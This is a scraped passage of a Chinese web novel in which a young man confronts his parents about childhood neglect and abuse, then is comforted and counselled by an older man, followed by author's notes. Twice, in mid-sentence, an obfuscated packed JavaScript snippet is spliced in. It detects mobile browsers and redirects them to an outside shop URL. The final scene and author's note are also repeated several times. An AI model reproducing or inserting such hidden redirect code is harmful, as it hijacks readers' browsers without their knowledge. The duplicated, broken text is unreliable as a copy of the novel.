“所以我让你好好督促他学习,可你呢?”之前季然总会心疼她,可现在他只有愤怒,“你丢给他一个手机就什么都不管,还要送他上私立?我从小到大都没花你们15万,你一年就要给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782727|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他花这么多钱?” “时代不一样啊,物价也不同。”妈妈有些心虚,又补充,“而且我们这几年经济也好一些了。” “经济好了一些?”季然感到了一股莫大的讽刺,脱口而出,“那当初我要上研究生,你们怎么不愿意?” 夫妻两不约而同地露出了尴尬的表情。 父亲率先反应过来,他几乎是立刻就愤怒了,又义正言辞:“你学校已经够好了,还有什么不知足的?当初你爷爷甚至连初中都不让我上。” “你怎么能自己学出来,就不顾你弟弟呢?”母亲也在指责他,“当初我们辛辛苦苦供你读书,你怎么能这么自私呢?” “我自私?”季然怒极反笑,心脏一片冰凉,“你们要不要想想,自己当初是怎么对我的?从小把我丢在乡下,吃不饱穿不暖,只有干不完的农活儿,挨不完的打 。 “因为家里穷,你们让我穿表姐的衣服,根本不管我在学校因为这个被人欺负。 “后来你们又把我丢给叔叔,我哭着求你们让我过去,你们说工作忙,没精力,结果却偷偷在外生了二胎,甚至等孩子都出生了才通知我。 “季丞轩从小就在你们身边长大,享用了你们全部的父爱母爱,而我呢?天天在老家盼着你们回来,你们回来后又嫌我和你们不亲,不如季丞轩体贴。 “我好不容易自己读书考出来,找了份工作,我现在大学都没毕业就每个月给你们三千,你还说我自私? “有你们这么做父母的吗?你倒是说说看,究竟是谁更自私!季然整个人都爆发了,变得前所未有的愤怒,仿佛一团熊熊燃烧的烈火。 母亲似乎被他吓到了,呆滞地看了他一会儿,又突然看向父亲,仿佛是在找证人一般,笑着说:“哪儿有你说的这些?我怎么都不记得了?不信你问你爸,我记得你小时候我们对你挺好的啊。 季然后退一步,霎时浑身冰冷。 如果说刚才他还是愤怒,那现在就只剩下心寒。 她竟然什么都不记得了。 因为不记得了,所以不觉得自己做错了。 所以他的痛苦在她眼里什么也不是,甚至是可以分享的笑料。 她彻底否定了季然的痛苦和灵魂。 季然预想了许多种假设,却从来没想到会是这个结果,他对他们掏心掏肺,渴望激起他们哪怕只有一丁点儿的愧疚或者心疼,可结果竟换来一句:我不记得了。 再也没有比这更残酷的反击了,太过高明的一招,连武侠小说里的大侠都练不出这样的绝技。 如果他们现在是在武侠世界里比武,季然觉得自己已经倒下。 他被这句话杀死了。 可这里不是江湖,他们也没有比武,季然重新爬了起来,头也不回地离开了房间。 他已经完全不生气了,甚至找不到愤怒的意义,只想从这个令人窒息的地方逃离。 可眼泪却比他想象中还要多,几乎是瞬间就模糊了季然的视线。 季然已经很用力了,可却完全无法停止自己的哭泣。 他哭得太惨了,眼泪鼻涕全都流了下来,季然不敢抬手擦,更不敢回过头。 因为他知道自己得不到安慰,说不定逢年过节,父母还会在饭桌上笑着谈起,季然那次哭得好凶。 他的样子好奇怪,他好像一条狗啊。 季然走到玄 关换鞋,他眼睛已经完全看不清东西了,鞋子怎么也穿不进去。 季然干脆不穿了,就这样拎着运动鞋去开门。 大门打开,季然猝不及防撞见了寒深。 他一席深色大衣站在门口,右手抬起,似乎正想按门铃。 季然呆了几秒,这才想起来,寒深今天似乎说要来取一张挂画。 “你……”寒深刚说了一个字,季然就打断他的话,伸手抹掉眼泪说,“我带你进去。” 寒深拿出手帕给他。 季然把手帕按在眼睛上,眼泪瞬间浸湿了布料。 他擦掉眼泪,转身带寒深进屋取画。 等寒深取完画,季然又问:“还有别的东西吗?” 寒深说没有。 “那走吧。” 季然说完转身离开,仿佛没看见客厅里还有三个大活人。 他不想再呆在那个地方,又不想让寒深看见自己这么狼狈的样子,季然转身走向逃生楼梯。 寒深却跟了过来,神情温柔,透着一股罕见的悲悯:“想谈谈吗?” 季然突然想起寒深的英文名,Samuel,塞缪尔,神在聆听。 他毫无预兆地笑了出来,笑声越来越大,几乎快要让自己喘不过气。 可没过多久,笑声就变成了抽泣声,季然双手捂着脸,眼泪从指缝大颗大颗滚落。 他哭得太惨了,肩膀因为抽泣不停抖动,耳朵鼻尖全红了,哭得上气不接下气。 寒深从来没见过有人能哭得这么伤心,痛苦,委屈。 他突然有些手足无措,习惯性掏出手帕,却意识到手帕刚才就给了季然。 寒深抬起手,又克制住了拥抱季然的念头。他怕自己那岌岌可危的意志力。 季然却转过身来,一下钻进了他怀里。 这是一个寒深渴望太久的拥抱,他曾无数次渴望像现在这样,把人揉进他的怀里。 可当这一刻真正发生,他心中却升不起任何旖旎。 他的季然在哭,哭得很伤心。满脸通红,头发睫毛都黏在了一起。 季然把脑袋埋进他胸膛,紧紧地抱着他,热热小小一团缩在他怀里,像是一只寻求庇护的小动物,又像是一颗跳动的心。 小小的,珍贵的,也不容践踏的。 寒深把季然抱得更紧了,紧得几乎让人喘不过气。 季然喜欢这种被牢牢抱住的窒息感,当呼吸都变得困难,他就再也无暇关注别的事情。 就像是小时候挨了揍,季然最喜欢躲藏的那个床角。哪怕是最炎热的夏天,他也要用被子把自己裹起来,仿佛这样就能给自己营造一个安全屋。 他躲在几乎无法呼吸的被窝里,竭尽所能地隐藏自己的身体。偶尔爸爸会隔着被子继续打他,但大部分时间他可以喘上一口气。 幼小的季然躲在被子里一边发抖一边哭,一会儿咒骂狠毒的父亲,一会儿又委屈从不帮忙的母亲。 但他最喜欢的,是在这种窒息感中睡过去。 因为睡着了就不疼了,睡着了就不会再感到伤心了。 …… 寒深有些不敢动弹,他没想到季然竟在他怀里睡着了。 睡着后的季然变得更软了,哭得热乎乎的身体贴着他,脸颊红通通的,张着嘴唇呼吸,表情依旧还很难过。 寒深替他擦掉脸上的眼泪,抱着季然离开了那里。 他在楼道外看见了季然的父母,他们惶恐又焦急地站在门口,流露出乡下人惯有的老实,质朴。 他们问寒深:“你是谁?你要带他去哪里?” 修养极佳的寒深破天荒失了态,他什么也没说,转身进了电梯。 作者有话要说 第 28 章 季然开始哽咽:“... 第28章季然开始哽咽:“. 季然突然从睡梦中惊醒过来,他清晰地意识到自己醒了,可是眼睛却怎么也睁不开,手脚重得仿佛灌了铅。 明明没有睁眼,他却觉得自己看见了周围,季然想叫,可是却发不出一丝声音。仿佛有一个无形的东西压住他身体,堵住他口鼻。 就像是遭遇了鬼压床,季然拼命夺回身体的控制权,不知过了多久,终于渐渐找回了呼吸。 他从床上坐了起来,身体重得要命,人也很疲惫,明明刚才在睡觉,却仿佛完全没有休息。 更重要的是,他现在在哪里? 季然打量着这间大得过分的卧室,装修风格简洁而典雅,床有2米,连门都有三扇。季然看花了眼,随便走到一道门前,手刚挨着门把手,一只大手从身后握住了他。 很大的一只手,直接包裹住了季然的手和门把手。 季然下意识回头,嘴唇几乎贴着寒深的下巴擦过。 没想到寒深离他这么近,季然的脸几乎立刻就红了:“抱歉,我……” “出去的门在这边。”寒深松开他的手,给季然指了指敞开的那扇门。 “哦哦!”季然忙点头,说,“那我先出去了。” 出来后季然才发现这是一套双层复式大平层,季然刚才睡的房间在二楼,楼下是一个宽敞的客厅,开放式厨房里珐琅锅咕嘟咕嘟地响着,传来一阵食物的香气。 寒深从身后过来,说:“洗手准备吃饭。” 原来已经到晚饭时间了。 季然走下楼梯,看见夕阳穿过270度落地玻璃幕墙,让整个客厅都浸泡在暖橙色的阳光中。 窗户视野极佳,没有任何阻挡,整片城市风光尽收眼底,太漂亮了,季然没忍住多看了几眼。 “要去窗边用餐吗?”寒深问。 季然有些意外:“可以吗?” “没什么不可以的。”寒深说,“过来帮忙端菜。” 季然连忙小跑过去,小尾巴似的跟在寒深旁边,寒深让他干什么就干什么,听话得要命。 最后只剩下一道烤羊排还要焦化外层,看着寒深熟练的动作,季然有些好奇:“原来您会做饭啊。” 寒深说:“在国外时学的。” 季然很震惊:“您这样的人也要自己做饭吗?” 寒深似乎笑了下,又说:“不知道你对我有什么奇怪的想象,但我也只是普通人。” 季然又开 始想象寒深在国外留学的情景,这样长相和气质的东方男人,哪怕是在白人社会也非常受欢迎。 应该有很多人给他表白吧?他肯定也谈过一些刻骨铭心的恋爱…… 想到这里,季然突然有点儿不开心,于是他决定不继续想下去了。 食材被端到了窗边的一张小桌子上,东西太多了,桌子又不够大,呈现出一种丰盛的拥挤。 吃饭时,寒深一直在提醒季然多吃点,让他养好身体。季然已经给面子吃了很多,可寒深依旧源源不断地用公筷往他碗里夹东西。 “真的吃不下了,”季然低头看了眼,有些苦恼地说,“肚子已经被撑得很大了。” “是么?”寒深扫了眼,“没看出来。” “真的!”季然右手摸过肚皮,T恤下方有一个几乎看不见的鼓起。 小腹都这么平,才装了这么一丁点儿东西就会被顶起。 寒深便不再强迫他,收回目光说:“你不想吃就算了。” 季然却以为寒深生气了,他重新拿起筷子,把碗里的肉全都吃了干净。 吃到最后他实在吃不下了,几乎快要干呕。 寒深:“吃不下就吐出来,别强迫自己。” 季然不敢吐,硬着头皮把肉全都咽了下去。 他还想再夹菜时,寒深一把拦住了他:“不是说吃饱了?” 季然有些委屈:“你不是说我太瘦了,要多吃点儿……” 寒深叹了口气,向他解释:“我只是希望你养好身体,并不想要强迫你。” “我以为你生气了,”季然低下头,沮丧起来,“对不起,我……” 季然又想哭了。 他也不知道自己最近是怎么了,总在寒深面前哭。 寒深一定觉得他很没用,不像个男人。 季然不想再哭了,他干脆闭上了嘴,连话也不说了。 夕阳沉入地平线,连最后一丝阳光也从客厅里消失,天空变成深蓝,给季然也染成了一层忧郁的蓝。 手机屏幕又亮了起来,虽然季然已经调成了静音,可每当家人的号码出现,他还是会感到恐惧。 他已经尽量克制自己不去想那些事情,可一通通电话仿佛催命符,又迅速把季然拉回了那个泥潭里。 季然依旧没接电话,他主动把餐具收到厨房,然后对寒深说:“谢谢您的招待,我要回去了。” “季然。”寒深突然叫住了他。 他没有叫他Julian,他叫了他季然。 不过只是被叫了名字,季然心中却升起了一股难以言喻的感觉。他停下脚步:“我在。” 寒深:“想谈谈吗?” 季然垂下眼眸,却不知道该说些什么。 他其实是想倾诉的,但又害怕寒深无法共情。 寒深从小生活富足,他会理解自己吗?会不会觉得在乎这点小钱的自己很算计? 可能在寒深眼里,他的痛苦根本就是无足轻重,一切都源自于他不够富裕。 “谢谢您的好意,但我已经没事儿了,”季然冲他笑了下,又说,“刚才那顿饭很好吃,我心情都变好了。” 寒深没有说话,只是静静地看着他。 季然觉得寒深早就看穿了他的强装镇定,可他却什么都没有说,目光温柔而包容,带着一股深深的同情。 季然有点儿受不了了,他转过身躲开寒深的视线:“别这么看着我……” 不要同情他,不要可怜他,他还想尽可能的在寒深面前,显得稍微优秀一点儿。 “那你想我怎么做?”寒深掰过他肩膀,泪眼朦胧中,季然对上了寒深担忧的视线。 他在担心他。 季然更想哭了,他摇头,喃喃自语:“我不知道,我也不知道……” 他感觉很痛苦,可他不知道该如何摆脱这样的境地。 那是生他养他的父母,他从小信赖的家人,是他遮风避雨的港湾。可现在一想起他们,季然却只剩下了痛苦。他最亲最近的爸妈,甚至还不如寒深这个陌生人在乎他。 季然伸手想抱寒深,可是寒深却躲开了。季然红着眼眶抬起头,清晰地看见寒深后退了一步。 季然往前一步,寒深又躲开了。 季然呆呆站在原地,莫名有些委屈。 寒深却命令他:“不许哭。” 季然往前要拥抱,寒深又说:“也不许抱我。” 季然更难受了,他很想不管不顾地大爆发,可他不敢。 他怕寒深不理他了。 寒深站在他半臂开外,温柔又严肃地说:“做三次深呼吸,先让自己冷静下来。” 季然听话地吸了口气,可他太委屈了,竟又开始哽咽。 “慢一点。”寒深提醒他,“让空气进入你的胸腔,腹部,然后再缓缓吐出,然后彻底放松身体。” 寒深声音一直很好听,只是平时性格太冷,让人望而生畏。可当他现在放缓语调,再加入充足的耐心,就温柔得不可思议。 季然完全被他牵走了,没有 任何抵抗地重复了三次,他感觉自己逐渐摆脱了那种混乱的情绪。 第三次结束,寒深便不再引领他,而是说:“我想和你谈话,你觉得自己现在的状态可以吗?” 季然声音闷闷的:“谈什么?” “Julian,”察觉到他语气的不悦,寒深放缓谈话节奏,再次提醒,“我希望你能回答我上一个问题。” “可以,”季然说,“但我不想听Julian这个名字,我想您叫我季然。” 寒深不置可否:“如果你表现好,我会考虑叫你季然。” 季然有些不开心,但他知道自己的脾气毫无道理,更重要的是,他现在拿寒深毫无办法,只得接受了这套说辞。 “很好,”寒深走到一旁,又对季然说,“过来,坐下。” 空旷的客厅里对放着两张单人沙发,仿佛已经为这一刻等候多时。 季然乖乖走到一旁,选了张沙发坐下。没过一会儿,寒深也在他对面坐下,缓缓翘起二郎腿。 仅仅是这一个动作,寒深给人的感觉就彻底变了。 季然也说不出来具体有哪里不同,可他现在不太敢看寒深了,他感觉自己无法镇定地面对他。 寒深偏偏说:“抬起头来,看着我。” 季然开始有点儿焦虑,但他还是抬起了头,看了过去。 寒深坐在一张黑色巴塞罗那椅里,他只穿了最简单的灰西裤和白衬衫,可他交叠在膝盖上的双手,衬衣领口下若隐若现的喉结,还有跷二郎腿时露出的那一截脚踝,都变得非常吸引人。 季然莫名有些口干舌燥。 之前压力一大就奖励自己的负面效果出现了,季然现在也想要自我奖励了。 他双脚不自觉地合拢,想要在椅子上缩成一团,可他忍住了。 季然看向寒深,努力克制着自己的情绪。 寒深问他准备好没有,季然说好了。 “我想请你思考一个问题,”寒深说,“你有没有发现,你更擅长拒绝别人善意的帮助,却无法拒绝别人提出的过分要求。” 季然愣住了。 他起初以为寒深在胡说八道,毕竟连三岁小孩儿都知道,肯定是接受善意的帮助,拒绝过分的要求。 可当他真正回想自己的所作所为,却发现确实如寒深说的这样。 他可以轻而易举地拒绝别人帮助他,可对方如果对他提出要求,他反而无法拒绝。甚至有时候这件事已经给他带来了困扰,他宁愿自己内耗,都无法对别人说不 。 季然抬起头,有些困惑:“为什么突然问我这个问题?” “因为你曾经不止一次拒绝过我的帮助,”寒深说,“就连刚才我想和你一起解决你的问题,你也习惯性做出了拒绝。” “我那是……”季然想要反驳,可话到嘴边又顿住了。 他为什么要拒绝寒深?因为不相信他?不敢和他产生关系?他觉得自己可以独自解决问题? 不,根本不是这些冠冕堂皇的理由。 他只是害怕对方的帮助并非真心,或者只是出于道德领域,所以他总是习惯性拒绝别人,可他真正期待的,是被他拒绝后,还有人能坚定表明心意。 太拧巴了,连他自己都摒弃这样的自己。 所以季然从不恋爱,他没喜欢过别人,也知道自己性格糟糕,根本就不配进入一段亲密关系。 寒深这个问题太尖锐,也太私密了,仿佛要打开季然的心脏,要让季然在他面前赤身裸体。 季然当然知道自己有问题,可他不想坐在这里和寒深谈论这个问题。 他本能地竖起浑身防御:“那又怎么样,这又没有伤害到别人。” 寒深:“可你在伤害你自己。” 季然张嘴想要反驳,却一句话也说不出来。他只能呆呆地看着寒深,感觉自己在他目光之下,渐渐变得赤身裸体。 季然感到了一股前所未有的难堪,他又想哭了,可他已经哭得够多了,连眼泪都掉不下来。 于是他变得愤怒。 “你怎么能这样……?!”季然从椅子上站了起来。 可椅子又长又深,他一下没站起来,又重新陷了进去。季然尴尬得要命,变得更生气了。 他一脚踩在茶几上,几乎是冲寒深大喊:“为什么你总是欺负我?我受够了,我不想继续对话,我不想呆在这里,我……” 季然把脸埋进掌心,开始哽咽:“寒深,我讨厌你。” 这次哭泣给季然带来了极大的屈辱,因为他发现,自己总在寒深面前情绪崩溃。明明之前都好好儿的,可一遇到寒深就乱套了。 他变得敏感、自卑、易怒,明明他之前不这样,明明谁都夸他性格好,夸他乖巧懂事,听话又有礼貌。 可现在,那些美好的品质都消失了。 寒深把他变成了一个性格糟糕无比的大人。 季然性格里藏得最深的阴暗面出现了,他不再理智,也不再考虑寒深的心情,他开始大喊大叫,像个婴儿一样发泄自己的怒火。 他希望寒深能安抚他,哪怕是训斥他,可寒深什么也没有做。 这个男人只是静静地注视他,冷酷无情得可怕。 直到季然发完脾气,寒深才说:“季然,你冷静下来了吗?” 季然烦透了寒深这幅性格稳定的模样,明明是他挑起自己的愤怒,凭什么他就能这么无动于衷? 他又要生气了,然而却被另一件事吸引了注意力。 “等等,你刚才叫我什么?” “我叫你季然。” “可你不是说……”季然呆住了,他理解不了这里面的逻辑。 “我说过,你表现好我就会叫你名字。”寒深对季然说,“你刚才的脾气发得很好。” 啊??? 季然彻底迷茫了:“什么叫我脾气发得很好?” 寒深说:“我很高兴你能真实的表达自己的情绪。” 季然被这句话定在了原地。 从小到大所有人都教他要乖,要懂事,不要随便发脾气。可偏偏寒深说他脾气发得好,说很高兴他能真实表达自己的情绪。 季然感觉自己又要哭了,可他真的不想在寒深面前掉眼泪了,那样真的显得他非常非常非常无能。 季然强忍眼泪,他试图说点儿什么,可大脑似乎宕机,即说不出体面话,也无法坦然接受寒深的鼓励,他整个人很别扭地站在那里,竟完全无法应对别人的善意。 最终,他对寒深说:“谢谢你。” “不用和我道谢,”寒深说,“相反,我希望你能原谅我。” 季然愣了愣:“原谅什么?” “对不起,你刚才难受时我没有安抚你。”寒深语气充满了歉意,“但我希望你能试着靠着自己的力量冷静。” 季然又想哭了。 寒深怎么这样啊,总是说一些让他想哭的话,他是什么眼泪制造厂的厂长吗? 但季然这次没哭了,他很好地忍住了眼泪,反问寒深:“你觉得我做到了吗?” 寒深有些意外,但还是说:“你做得很好。” “那作为奖励……”季然身体微微前倾,他犹豫了一下,但最终鼓起勇气仰起头,“你现在可以安抚我了吗?” 作者有话要说 季然在寒深面前容易崩溃,是因为寒深挖出了他的心结。之前季然觉得自己没问题,只是因为日常生活没有触及到这部分,其实他已经摇摇欲坠了。 跨过了这一关就是成长。 至于为什么敢在寒深面前崩溃,敢冲寒深发脾气,是因为他潜意识里已经意识到,这是安全的地方,面前的人或许允许他表达情绪。 他希望寒深能安抚他,哪怕是训斥他,可寒深什么也没有做。 这个男人只是静静地注视他,冷酷无情得可怕。 直到季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782728|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然发完脾气,寒深才说:“季然,你冷静下来了吗?” 季然烦透了寒深这幅性格稳定的模样,明明是他挑起自己的愤怒,凭什么他就能这么无动于衷? 他又要生气了,然而却被另一件事吸引了注意力。 “等等,你刚才叫我什么?” “我叫你季然。” “可你不是说……”季然呆住了,他理解不了这里面的逻辑。 “我说过,你表现好我就会叫你名字。”寒深对季然说,“你刚才的脾气发得很好。” 啊??? 季然彻底迷茫了:“什么叫我脾气发得很好?” 寒深说:“我很高兴你能真实的表达自己的情绪。” 季然被这句话定在了原地。 从小到大所有人都教他要乖,要懂事,不要随便发脾气。可偏偏寒深说他脾气发得好,说很高兴他能真实表达自己的情绪。 季然感觉自己又要哭了,可他真的不想在寒深面前掉眼泪了,那样真的显得他非常非常非常无能。 季然强忍眼泪,他试图说点儿什么,可大脑似乎宕机,即说不出体面话,也无法坦然接受寒深的鼓励,他整个人很别扭地站在那里,竟完全无法应对别人的善意。 最终,他对寒深说:“谢谢你。” “不用和我道谢,”寒深说,“相反,我希望你能原谅我。” 季然愣了愣:“原谅什么?” “对不起,你刚才难受时我没有安抚你。”寒深语气充满了歉意,“但我希望你能试着靠着自己的力量冷静。” 季然又想哭了。 寒深怎么这样啊,总是说一些让他想哭的话,他是什么眼泪制造厂的厂长吗? 但季然这次没哭了,他很好地忍住了眼泪,反问寒深:“你觉得我做到了吗?” 寒深有些意外,但还是说:“你做得很好。” “那作为奖励……”季然身体微微前倾,他犹豫了一下,但最终鼓起勇气仰起头,“你现在可以安抚我了吗?” 作者有话要说 季然在寒深面前容易崩溃,是因为寒深挖出了他的心结。之前季然觉得自己没问题,只是因为日常生活没有触及到这部分,其实他已经摇摇欲坠了。 跨过了这一关就是成长。 至于为什么敢在寒深面前崩溃,敢冲寒深发脾气,是因为他潜意识里已经意识到,这是安全的地方,面前的人或许允许他表达情绪。 他希望寒深能安抚他,哪怕是训斥他,可寒深什么也没有做。 这个男人只是静静地注视他,冷酷无情得可怕。 直到季然发完脾气,寒深才说:“季然,你冷静下来了吗?” 季然烦透了寒深这幅性格稳定的模样,明明是他挑起自己的愤怒,凭什么他就能这么无动于衷? 他又要生气了,然而却被另一件事吸引了注意力。 “等等,你刚才叫我什么?” “我叫你季然。” “可你不是说……”季然呆住了,他理解不了这里面的逻辑。 “我说过,你表现好我就会叫你名字。”寒深对季然说,“你刚才的脾气发得很好。” 啊??? 季然彻底迷茫了:“什么叫我脾气发得很好?” 寒深说:“我很高兴你能真实的表达自己的情绪。” 季然被这句话定在了原地。 从小到大所有人都教他要乖,要懂事,不要随便发脾气。可偏偏寒深说他脾气发得好,说很高兴他能真实表达自己的情绪。 季然感觉自己又要哭了,可他真的不想在寒深面前掉眼泪了,那样真的显得他非常非常非常无能。 季然强忍眼泪,他试图说点儿什么,可大脑似乎宕机,即说不出体面话,也无法坦然接受寒深的鼓励,他整个人很别扭地站在那里,竟完全无法应对别人的善意。 最终,他对寒深说:“谢谢你。” “不用和我道谢,”寒深说,“相反,我希望你能原谅我。” 季然愣了愣:“原谅什么?” “对不起,你刚才难受时我没有安抚你。”寒深语气充满了歉意,“但我希望你能试着靠着自己的力量冷静。” 季然又想哭了。 寒深怎么这样啊,总是说一些让他想哭的话,他是什么眼泪制造厂的厂长吗? 但季然这次没哭了,他很好地忍住了眼泪,反问寒深:“你觉得我做到了吗?” 寒深有些意外,但还是说:“你做得很好。” “那作为奖励……”季然身体微微前倾,他犹豫了一下,但最终鼓起勇气仰起头,“你现在可以安抚我了吗?” 作者有话要说 季然在寒深面前容易崩溃,是因为寒深挖出了他的心结。之前季然觉得自己没问题,只是因为日常生活没有触及到这部分,其实他已经摇摇欲坠了。 跨过了这一关就是成长。 至于为什么敢在寒深面前崩溃,敢冲寒深发脾气,是因为他潜意识里已经意识到,这是安全的地方,面前的人或许允许他表达情绪。 他希望寒深能安抚他,哪怕是训斥他,可寒深什么也没有做。 这个男人只是静静地注视他,冷酷无情得可怕。 直到季然发完脾气,寒深才说:“季然,你冷静下来了吗?” 季然烦透了寒深这幅性格稳定的模样,明明是他挑起自己的愤怒,凭什么他就能这么无动于衷? 他又要生气了,然而却被另一件事吸引了注意力。 “等等,你刚才叫我什么?” “我叫你季然。” “可你不是说……”季然呆住了,他理解不了这里面的逻辑。 “我说过,你表现好我就会叫你名字。”寒深对季然说,“你刚才的脾气发得很好。” 啊??? 季然彻底迷茫了:“什么叫我脾气发得很好?” 寒深说:“我很高兴你能真实的表达自己的情绪。” 季然被这句话定在了原地。 从小到大所有人都教他要乖,要懂事,不要随便发脾气。可偏偏寒深说他脾气发得好,说很高兴他能真实表达自己的情绪。 季然感觉自己又要哭了,可他真的不想在寒深面前掉眼泪了,那样真的显得他非常非常非常无能。 季然强忍眼泪,他试图说点儿什么,可大脑似乎宕机,即说不出体面话,也无法坦然接受寒深的鼓励,他整个人很别扭地站在那里,竟完全无法应对别人的善意。 最终,他对寒深说:“谢谢你。” “不用和我道谢,”寒深说,“相反,我希望你能原谅我。” 季然愣了愣:“原谅什么?” “对不起,你刚才难受时我没有安抚你。”寒深语气充满了歉意,“但我希望你能试着靠着自己的力量冷静。” 季然又想哭了。 寒深怎么这样啊,总是说一些让他想哭的话,他是什么眼泪制造厂的厂长吗? 但季然这次没哭了,他很好地忍住了眼泪,反问寒深:“你觉得我做到了吗?” 寒深有些意外,但还是说:“你做得很好。” “那作为奖励……”季然身体微微前倾,他犹豫了一下,但最终鼓起勇气仰起头,“你现在可以安抚我了吗?” 作者有话要说 季然在寒深面前容易崩溃,是因为寒深挖出了他的心结。之前季然觉得自己没问题,只是因为日常生活没有触及到这部分,其实他已经摇摇欲坠了。 跨过了这一关就是成长。 至于为什么敢在寒深面前崩溃,敢冲寒深发脾气,是因为他潜意识里已经意识到,这是安全的地方,面前的人或许允许他表达情绪。